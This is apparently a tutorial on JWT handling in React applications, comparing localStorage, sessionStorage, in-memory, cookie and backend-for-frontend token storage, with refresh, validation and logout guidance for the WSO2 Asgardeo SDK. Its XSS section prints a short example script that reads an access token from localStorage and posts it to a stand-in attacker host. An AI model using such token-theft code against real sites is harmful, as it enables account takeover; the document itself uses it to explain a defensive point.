JWT-Based Authentication in React: Storage, Validation and the localStorage Question
When a user signs in to a React application using OpenID Connect (OIDC), the application typically receives an access token for calling APIs and an ID token containing information about the authenticated user. The ID token is returned as part of a successful OIDC flow when the application requests the openid scope.
If you followed the Authorization Code flow with PKCE, you would have seen these tokens in the token response.

Look closely at the two tokens. The access token is a short, seemingly random string. The ID token is much longer and consists of three sections separated by periods (.).
The access token in this example is an opaque token. Its contents aren't directly meaningful to the application because the token doesn't expose the information it represents. The API can validate it through the authorization server's token introspection endpoint to determine whether it is valid and what permissions are associated with it.
WSO2 Identity Platform supports both opaque and JWT access tokens. You choose the access token type for each application in its protocol settings, so the same organization can issue opaque tokens to one application and JWTs to another.
The ID token is typically a signed JSON Web Token (JWT). Its payload contains claims that the application can decode and inspect without contacting the identity provider (the OpenID Provider, in OIDC terms). However, decoding the claims doesn't establish whether they can be trusted.
Once the application receives these tokens, it needs to manage their storage, validation, and lifecycle. We'll look at how JWTs work, what different storage options expose, and how to handle tokens in a React application.
What a JWT is and what it is not
A signed JSON Web Token (JWT), such as the ID token in our example, contains three sections: header, payload, and signature.
These sections are Base64URL-encoded and separated by periods (.):
<base64url-header>.<base64url-payload>.<signature>
This is the compact representation of a signed JWT. Encrypted JWTs also exist, but their compact representation has five sections.
We'll focus on signed JWTs because they're commonly used for OIDC ID tokens.
Header, Payload, Signature
Let's look at each part.
Header
The header identifies the token type and the algorithm used to sign it.
For example:
{
"typ": "JWT",
"alg": "RS256"
}
typ identifies the token type, while alg identifies the signing algorithm.
The receiving application uses this information during signature verification. However, it must only accept algorithms permitted by its own configuration rather than trusting any algorithm declared by the token.
Payload
The payload contains information carried by the token in the form of claims.
For an ID token, these claims describe the user and the authentication that took place. A decoded payload from WSO2 Identity Platform might look like this:
{
"iss": "https://api.asgardeo.io/t/<your-organization>/oauth2/token",
"sub": "[email protected]",
"aud": "YOUR_CLIENT_ID",
"exp": 1767225600,
"iat": 1767222000
}
You'll commonly see claims such as:
iss— who issued the token.sub— who the token is about.aud— who the token is intended for.exp— when the token expires.iat— when the token was issued.
The iss value must match the issuer identifier published by the identity provider. In WSO2 Identity Platform, the issuer is your organization's token endpoint URL. Other identity providers may use a different issuer format.
JWT describes the token format, not its purpose.
An ID token is typically a JWT, but access tokens can also be issued as JWTs.
A JWT access token and a JWT ID token may have the same three-part structure while carrying different claims because they serve different purposes.
An ID token provides identity information to the client application. An access token is used to access a protected resource. A React application shouldn't use an ID token in place of an access token when calling an API.
Signature
The signature allows the receiver to detect whether the header or payload has been changed after the token was issued.
How the signature is created and verified depends on the signing algorithm.
With asymmetric algorithms such as RS256, the identity provider signs the encoded header and payload using its private signing key. The receiver uses the corresponding public key to verify the signature.
With symmetric algorithms such as HS256, the same shared secret is used to create and verify the signature.
We'll use RS256 for the remaining examples.
If someone changes a claim in the payload after the token was signed, the existing signature will no longer verify.
The signature protects the integrity of the token. When verified using a trusted key associated with the expected issuer, it also helps establish who signed it.
It does not hide the contents.
Signed does not mean encrypted
A JWT can look like an unreadable string, but Base64URL encoding doesn't make its contents secret.
Signing and encryption serve different purposes:
- Signing allows a receiver to verify that the signed content hasn't been altered and that it was signed using an appropriate trusted key.
- Encryption prevents unauthorized parties from reading the content.
Encrypted JWTs exist, but ID tokens are typically signed because the application needs to verify the identity claims they carry.
Anyone who obtains a signed, unencrypted ID token can decode and read its payload.
Now let's look at where a React application can store these tokens.
The question behind the question: what are you defending against?
Token storage is important for access tokens.
A bearer access token is a credential. Anyone who obtains it can present it to an API and exercise its permissions until it expires or is revoked, unless additional protections such as sender-constraining apply.
Storage becomes important for ID tokens too because they can contain identity information about the signed-in user. However, stealing an ID token doesn't automatically provide the same API access as stealing an access token.
A React application can keep authentication state in four common places:
- localStorage — browser-managed key-value storage that JavaScript running in the same origin can read and write.
- sessionStorage — similar browser storage, but scoped to a browser tab and its session.
- In memory — keeps the token in JavaScript memory, such as a variable, store, or ref.
- Cookies — values stored by the browser and sent with matching HTTP requests. Cookies can be marked HttpOnly so JavaScript cannot read their values.
An application with a backend can also keep OAuth tokens out of the browser entirely using an architecture such as a Backend for Frontend (BFF).
The storage decision is largely shaped by two browser security risks: cross-site scripting (XSS) and cross-site request forgery (CSRF).
XSS: the attacker runs script in your origin
Cross-site scripting occurs when malicious JavaScript executes within your application's origin.
This can happen through a vulnerable component, unsafe HTML handling, a compromised dependency, or a third-party script.
Once the malicious script is executing in the same origin, the browser generally gives it the same access to origin-scoped storage as your application code.
If the access token is stored in localStorage, the script can read it:
const stolenToken = localStorage.getItem("access_token");
It can then send the value to another server:
fetch("https://attacker.example/steal", {
method: "POST",
body: stolenToken
});
If the attacker obtains a bearer access token, they can use it directly against the API.
sessionStorage has the same JavaScript-access problem:
const token = sessionStorage.getItem("access_token");
The difference is how long the token persists, not whether JavaScript running in the page can read it.
Token theft isn't the only risk. Malicious JavaScript running in an authenticated application can also make authenticated requests while the page remains open.
Some storage approaches make credentials harder to extract and reuse elsewhere, but they don't prevent all actions an attacker can perform through a compromised page.
CSRF: the attacker makes the browser send your cookie
Cross-site request forgery (CSRF) works differently.
The attacker doesn't need to steal an authentication cookie or execute JavaScript inside your React application.
Instead, another website causes the user's browser to send a request to your application.
Suppose the user is signed in to https://bank.example.com and has a session cookie for that website.
If the user visits a malicious website, it may try to trigger a request to https://bank.example.com/transfer.
Depending on the cookie attributes and request context, the browser may attach the user's session cookie to that request.
The server could then receive an authenticated request that the user never intended to make.
An HttpOnly cookie prevents JavaScript from reading the cookie value directly. It doesn't prevent the browser from automatically attaching that cookie to eligible requests.
Applications using cookie-based authentication therefore need appropriate CSRF defenses.
Where to store it: four options, honestly compared
Each storage option affects how credentials can be accessed, how long they persist, and whether the browser sends them automatically.
Here's a comparison:
| Store | XSS exposure | CSRF exposure | Survives reload | Complexity |
|---|---|---|---|---|
| localStorage | Same-origin JavaScript can read it | None from storage itself | Yes, including browser restarts | Low |
| sessionStorage | JavaScript in the tab can read it | None from storage itself | Yes, within the tab session | Low |
| In memory | Potentially accessible to running application JavaScript | None from storage itself | No | Low |
| HttpOnly cookie | JavaScript cannot read it directly | Depends on cookie behavior and server-side defenses | Depends on cookie lifetime | Medium; requires a server |
The CSRF column refers to risks associated with the storage mechanism. It doesn't mean applications using localStorage, sessionStorage, or memory cannot have CSRF vulnerabilities elsewhere.
localStorage: convenient, and usually the wrong answer
localStorage is convenient because it's simple and persistent:
localStorage.setItem("access_token", token);
The token survives page reloads and browser restarts, allowing the application to restore authentication state.
However, every script executing in the application's origin can also access it:
localStorage.getItem("access_token");
If malicious JavaScript runs in the application, it can copy the access token and send it elsewhere.
The problem isn't unique to localStorage. Other JavaScript-accessible stores are vulnerable to similar attacks.
With localStorage, the additional concern is persistence. The bearer token remains available across browsing sessions, increasing the period during which a successful XSS attack could extract it.
For long-lived tokens, this creates unnecessary exposure.
sessionStorage: the same problem, shorter fuse
sessionStorage is also accessible to JavaScript running in the application, but its lifetime is shorter.
The token survives a page reload within the same tab and is generally removed when that tab's session ends.
This reduces persistence compared with localStorage.
It doesn't change the underlying XSS risk. Malicious JavaScript executing in the tab can still read the token.
In memory: less persistent, awkward across reloads
An application can keep access tokens in JavaScript memory without writing them to browser storage.
For example, the token might be held in a module variable, React ref, or application store.
When the page's execution context is destroyed, the token disappears.
This avoids leaving the token in persistent browser storage, but it complicates recovery after a reload.
The application needs a way to obtain a new access token or restore authentication state without requiring a full sign-in every time.
In-memory storage also doesn't make a running application immune to XSS. Malicious JavaScript may still interact with application code or trigger authenticated requests.
HttpOnly cookie: strong, but you inherit CSRF and SameSite decisions
An HttpOnly cookie cannot be read directly by JavaScript.
This can keep an authentication credential outside the reach of scripts running in your React application.
However, a pure React application cannot create an HttpOnly cookie. A server must set it using the Set-Cookie response header.
For example:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
The browser stores the cookie and automatically includes it in matching requests.
Your React application doesn't need to read the cookie value.
Because cookies are sent automatically, the application must account for CSRF.
The SameSite attribute determines when the browser sends a cookie in cross-site contexts.
SameSite=Strictgenerally prevents cookies from being included in requests or navigations initiated from another site. This offers stronger CSRF protection but can interfere with legitimate cross-site interactions.SameSite=Laxpermits cookies on certain top-level cross-site navigations using safe HTTP methods, while restricting many cross-site requests commonly used in CSRF attacks.SameSite=Nonepermits cookies in cross-site contexts and requires theSecureattribute. Applications using this setting need appropriate CSRF protections.
The cookie attributes control different behavior:
HttpOnlyprevents JavaScript from reading the cookie value directly.SameSitecontrols when cookies are sent in cross-site contexts.Securerestricts cookies to secure connections, generally HTTPS, with browser-specific exceptions for localhost.
SameSite can reduce CSRF exposure, but it shouldn't be treated as the application's only CSRF defense.
Moving the token off the browser entirely
If your React application has a backend, it can keep OAuth tokens on the server instead of storing them in the browser.
One approach is a Backend for Frontend (BFF).
With a BFF, the backend stores the access and refresh tokens. The browser receives a session cookie representing its authenticated session with the application.
When React needs to call an API, it sends the request to the BFF:
- BrowserReact app sends the session cookie
- BFFAttaches the access token
- API
The BFF attaches the access token when forwarding the request to the downstream API.
The React application doesn't need to read or store the OAuth tokens.
This prevents malicious JavaScript from directly extracting those tokens from browser storage or application memory for use elsewhere.
The browser still holds a session credential, and its security requirements remain.
For example, malicious JavaScript can still make authenticated requests through the BFF while the user is signed in. Cookie-based sessions also need CSRF protection.
A BFF keeps OAuth credentials on the server, but it doesn't eliminate browser security risks.
The recommendation, and when it does not apply
If your React application has a backend, keeping OAuth tokens there can reduce their exposure to browser JavaScript.
A Backend for Frontend (BFF) is one way to implement that separation.
For applications handling sensitive operations, such as banking, healthcare, or administrative systems, this architecture may be preferable to storing bearer tokens in the browser.
Not every React application has a backend, though.
For a browser-only SPA, the storage decision depends on how long authentication state needs to persist and which risks the application can accept.
- In-memory storage avoids persistent browser storage. It's suitable when minimizing token persistence is more important than restoring authentication state after every reload.
- sessionStorage allows the application to retain authentication state across reloads within the same tab. It offers shorter persistence than localStorage but remains accessible to JavaScript.
- localStorage retains authentication state across browser restarts. This may satisfy a usability requirement, but it also extends the period during which a bearer token can be extracted through XSS.
An HttpOnly cookie isn't another browser storage option a React SPA can select through JavaScript. It requires server-side support, which changes the application architecture.
There isn't one storage mechanism that fits every React application.
When choosing a storage approach, consider whether the application has a backend, how long authentication state should persist, and what an attacker could do if JavaScript executing in the page were compromised.
Implementing it in React
Let's look at how these choices translate into React code.
The first two examples demonstrate token handling when the application manages the token lifecycle itself. If you're using an authentication SDK, it's generally better to let the SDK manage token storage and refresh rather than implement a separate mechanism.
Holding the access token without re-rendering the tree
If you're storing access tokens in memory, they need to be accessible to the code responsible for making API requests.
React state is one option, but a token isn't necessarily display state. Updating it doesn't need to trigger a component re-render.
A ref can hold the token without writing it to browser storage:
import { createContext, useContext, useRef } from "react";
const TokenContext = createContext(null);
export function TokenProvider({ children }) {
const accessToken = useRef(null);
const tokenStore = useRef({
get: () => accessToken.current,
set: (token) => {
accessToken.current = token;
},
clear: () => {
accessToken.current = null;
},
});
return (
<TokenContext.Provider value={tokenStore.current}>
{children}
</TokenContext.Provider>
);
}
export const useTokenStore = () => useContext(TokenContext);
The token remains in the current JavaScript execution context.
accessToken holds the token value, while tokenStore exposes a stable get, set, and clear interface through React Context.
Updating accessToken.current doesn't trigger a re-render because refs don't participate in React's state update mechanism.
The token is lost when the page reloads. The application must then reacquire it or restore authentication state through an appropriate flow.
This example only shows how to hold a token in memory. Obtaining, refreshing, and using the token securely still need to be handled by the application's authentication layer.
Refreshing on 401 without a request storm
Access tokens expire.
Suppose your React application makes several API requests at the same time, just after its access token expires.
All of them may receive 401 Unauthorized.
If each failed request starts its own refresh, the application can end up with several refresh requests running simultaneously:
- Sent togetherRequest 1, Request 2, Request 3
- 401, 401, 401
- Three refresh requests run at once
This can cause problems when refresh token rotation is enabled.
A successful refresh may replace the previous refresh token. Another concurrent request attempting to use the old refresh token can then fail.
One approach is to allow only one refresh operation at a time.
Assume refreshAccessToken() performs the refresh and returns a new access token:
let refreshInFlight = null;
async function getFreshAccessToken() {
if (!refreshInFlight) {
refreshInFlight = refreshAccessToken().finally(() => {
refreshInFlight = null;
});
}
return refreshInFlight;
}
The first request starts the refresh operation.
Other requests that need a fresh access token receive the same pending promise.
Once the refresh completes or fails, .finally() clears refreshInFlight, allowing another refresh attempt when needed.
The failed API requests must still wait for the refresh result and retry when appropriate. Retrying a request also requires considering whether the operation is safe to repeat.
This pattern coordinates refresh requests within one JavaScript execution context. It doesn't coordinate multiple browser tabs or separate application instances.
If an authentication SDK already handles refresh coordination, don't introduce another refresh mechanism alongside it.
What the WSO2 React SDK does by default
The WSO2 Identity Platform React SDK supports three storage options:
sessionStoragelocalStoragewebWorker
By default, the SDK uses sessionStorage.
You can explicitly configure the storage mechanism through AsgardeoProvider:
<AsgardeoProvider
clientId="<your-app-client-id>"
baseUrl="https://api.asgardeo.io/t/<your-organization>"
scopes="openid profile"
storage="sessionStorage"
>
<App />
</AsgardeoProvider>
With sessionStorage, authentication state survives page reloads within the same tab but is generally removed when the tab's session ends.
The SDK also supports webWorker storage, which keeps authentication state in a separate JavaScript execution context from the React application's main thread.
When using this mechanism, authenticated API requests can be handled through the SDK without directly exposing the access token to application code.
Web Worker storage limits direct token access from the main thread, but doesn't eliminate XSS risks. Malicious JavaScript can still invoke authenticated operations through the application or SDK.
Decoding versus verifying
A signed JWT can be decoded without much effort.
That allows a React application to read claims from an ID token, but decoding doesn't validate those claims.
Anyone can create a JSON object, Base64URL-encode it, and arrange it to look like a JWT.
Decoding and validation are separate operations.
Decoding reads the token's contents. Validation establishes whether the token is acceptable for the application.
Reading claims from the token
Suppose your application decodes an ID token and receives this payload:
{
"sub": "[email protected]",
"aud": "YOUR_CLIENT_ID",
"exp": 1767225600
}
The application can read the user's identifier, intended audience, and expiration time.
But decoding has only converted the Base64URL-encoded payload back into readable JSON.
It hasn't established:
- Who issued the token.
- Whether the signed contents were changed.
- Whether the token was intended for this application.
- Whether the token has expired.
Those checks require token validation.
Verifying the signature
In our RS256 example, the identity provider signs the ID token using its private signing key.
The corresponding public key can be distributed to clients, which use it to verify the signature.
Conceptually, signing works like this:
- header + payload
- Sign with the private key
- Signature
Verification uses the signed header, payload, and signature:
- header + payload + signature
- Verify with the public key
- Signature valid, or verification fails
The public key doesn't generate another signature and compare the two strings.
Instead, the private and public keys are mathematically related. The private key is used for signing, while the public key verifies that the signature corresponds to the signed content.
If someone changes the header or payload after signing, verification fails.
A valid signature alone isn't sufficient to accept an ID token.
The application also needs to validate claims such as:
iss— whether the expected identity provider issued the token.aud— whether the token was issued for the application.exp— whether the token has expired.
Depending on the authentication flow, additional OIDC validation requirements may apply, including checks involving nonce and other audience-related claims.
The application should use a standards-compliant OIDC library or SDK to perform these checks instead of implementing JWT validation manually.
How the Asgardeo SDK validates the ID token
The WSO2 Identity Platform SDK family provides ID-token validation functionality as part of its authentication integration.
For an RS256-signed ID token, validation uses the identity provider's public signing keys and the claims carried by the token.
The process can be represented as:
- ID token
- Read the JWT header
- Obtain the issuer's public keys
- Select the verification key
- Verify the signature
- Validate the claims
The identity provider publishes its public signing keys through a JSON Web Key Set (JWKS) endpoint.
A JWT validation implementation uses the token header, including the key identifier when present, to select an appropriate key from a trusted set.
For RS256, the signature is then verified using that public key.
The token's issuer, audience, and expiration must also be validated.
The identity provider retains its private signing key. Clients only need the corresponding public verification key.
The exact validation behavior and configuration options depend on the WSO2 SDK package and version. When using @asgardeo/react, refer to its documented ID-token validation settings rather than applying configuration from an older SDK.
ID-token validation establishes whether the application can trust the identity claims in the token. It doesn't authorize API requests.
When React calls a protected API with an access token, the API must validate that token separately.
For an opaque WSO2 Identity Platform access token, validation generally involves token introspection. For a JWT access token, the API can validate its signature and relevant claims, including issuer, audience, expiry, and permissions.
Validating the ID token in React doesn't replace the API's responsibility to validate access tokens.
The failure modes you will hit
Tokens expire, clocks aren't always synchronized, and applications often make several authenticated requests at once.
Logout can also involve more than clearing browser storage.
Let's look at how these situations affect token handling.
Clock skew
The exp claim identifies when a token expires.
That timestamp is created by the identity provider and checked by another system, such as the browser or API server.
Their clocks may not be perfectly synchronized.
If the browser clock is ahead of the identity provider, a token may appear to expire sooner than expected.
Authentication implementations may allow a small amount of clock tolerance when validating time-based claims.
If you're using an authentication SDK, use its supported validation behavior rather than introducing separate expiration checks based on the browser clock.
Expiry during a long-running interaction
Imagine a user opens a form and spends twenty minutes filling it out.
The application still appears to be signed in.
When the user submits the form, the access token may already have expired.
The API request can then return 401 Unauthorized.
The authentication layer needs a way to obtain a valid access token and retry the request when appropriate without discarding the user's work.
Centralizing token refresh is generally preferable to implementing it separately in individual React components.
Refresh races
Several API requests may fail at around the same time because the access token has expired.
If each failed request starts its own refresh, multiple refresh requests can run concurrently.
With refresh token rotation, the first successful refresh may invalidate the previous refresh token while another request is still attempting to use it.
The single-refresh pattern shown earlier prevents several refresh operations from running at the same time within one JavaScript execution context.
Other requests wait for the same refresh result.
If the application's authentication SDK already coordinates refresh operations, avoid implementing a second mechanism.
Logout that doesn't revoke or end the session
Removing a token from browser storage doesn't necessarily log the user out.
For example:
localStorage.removeItem("access_token");
This removes only the application's local copy of the token.
The access token may remain valid until it expires or is revoked. The user may also still have an active session with the identity provider.
Depending on the authentication setup, logout may need to:
- Clear the application's authentication state.
- Remove locally stored credentials.
- End the relevant session with the identity provider.
- Revoke tokens when appropriate and supported.
These operations aren't interchangeable. Removing an access token from localStorage doesn't invalidate copies of that token or automatically end the identity provider's session.
Conclusion
A signed JWT has three sections: a header, a payload, and a signature.
The header identifies the signing algorithm, the payload carries the claims, and the signature allows the receiver to verify the signed contents using an appropriate key.
In a React application, the token format is only one part of authentication.
Access tokens need to be stored and transmitted according to the application's security requirements. localStorage, sessionStorage, in-memory storage, Web Workers, and server-side storage expose credentials in different ways and retain them for different lengths of time.
ID tokens need to be validated before the application trusts their claims. Decoding a JWT isn't enough; the application must also perform signature verification and the required claim checks.
The application also needs to handle token expiry, refresh, concurrent requests, and logout without exposing credentials unnecessarily.
When designing token handling, consider where credentials are stored, which code can access them, how long they remain available, and what happens when they expire or are revoked.
For React applications using WSO2 Identity Platform, the authentication SDK can manage much of this lifecycle. Choose its storage configuration deliberately, and let the SDK handle the protocol operations it supports rather than duplicating them throughout the application.


